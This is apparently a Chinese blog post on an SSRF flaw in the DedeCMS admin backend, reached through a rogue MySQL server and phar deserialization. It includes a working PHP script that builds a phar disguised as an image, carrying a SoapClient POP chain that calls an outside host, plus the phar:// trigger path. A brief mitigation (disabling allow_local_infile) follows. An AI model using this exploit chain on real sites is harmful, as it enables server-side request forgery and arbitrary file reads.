dedecms织梦后台存在SSRF漏洞怎么解决

dedecms的后台存在ucenter功能,可以直接修改ucenter的配置,使网站的mysql连接。指向我们预先构造的rogue mysql server
设置之后我们就可以通过修改恶意服务端的设置来读取任意文件。 假如读取的文件路径是以phar协议开头的,那么读取的文件内容就会被反序列化。 根据dedecms的代码,我们可以利用soapclient内置类来构造反序列化pop链来ssrf。

<?php
 
class Control
 
{
 
    var $tpl;
 
    public $dsql;
 
    function __construct(){
 
                $this->dsql = new SoapClient(null,array('uri'=>'http://www.91084.com', 'location'=>'http://www.91084.com/a'));
 
        }
 
}
 
@unlink("dedecms.phar");
 
$phar = new Phar("dedecms.phar");
 
$phar->startBuffering();
 
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
 
$o = new Control();
 
$phar->setMetadata($o); 
 
$phar->addFromString("test.txt", "test");
 
$phar->stopBuffering();
 
?>

将生成的文件修改为dedecms.png,然后在dedecms上有很多地方都可以上传。
上传成功之后可以从文件列表中获取到图片链接。
phar://../uploads/allimg/91084/1_1529564891.png/test.txt
设置完成之后,刷新就可以触发ssrf。
临时解决方案:
通过mysqli_options设置链接时禁用allow_local_infile配置可阻止该漏洞。
或在php.ini中改配置为mysqli.allow_local_infile = Off

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值